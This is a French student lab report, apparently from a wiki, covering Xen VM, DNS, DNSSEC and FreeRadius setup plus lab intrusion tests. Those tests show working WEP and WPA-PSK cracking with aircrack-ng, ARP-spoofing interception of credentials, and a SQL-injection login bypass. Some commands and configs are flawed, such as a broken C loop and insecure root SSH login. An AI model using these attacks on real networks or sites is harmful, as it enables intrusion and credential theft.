  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space1&lt;br /&gt;
    ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
   www     IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. &lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
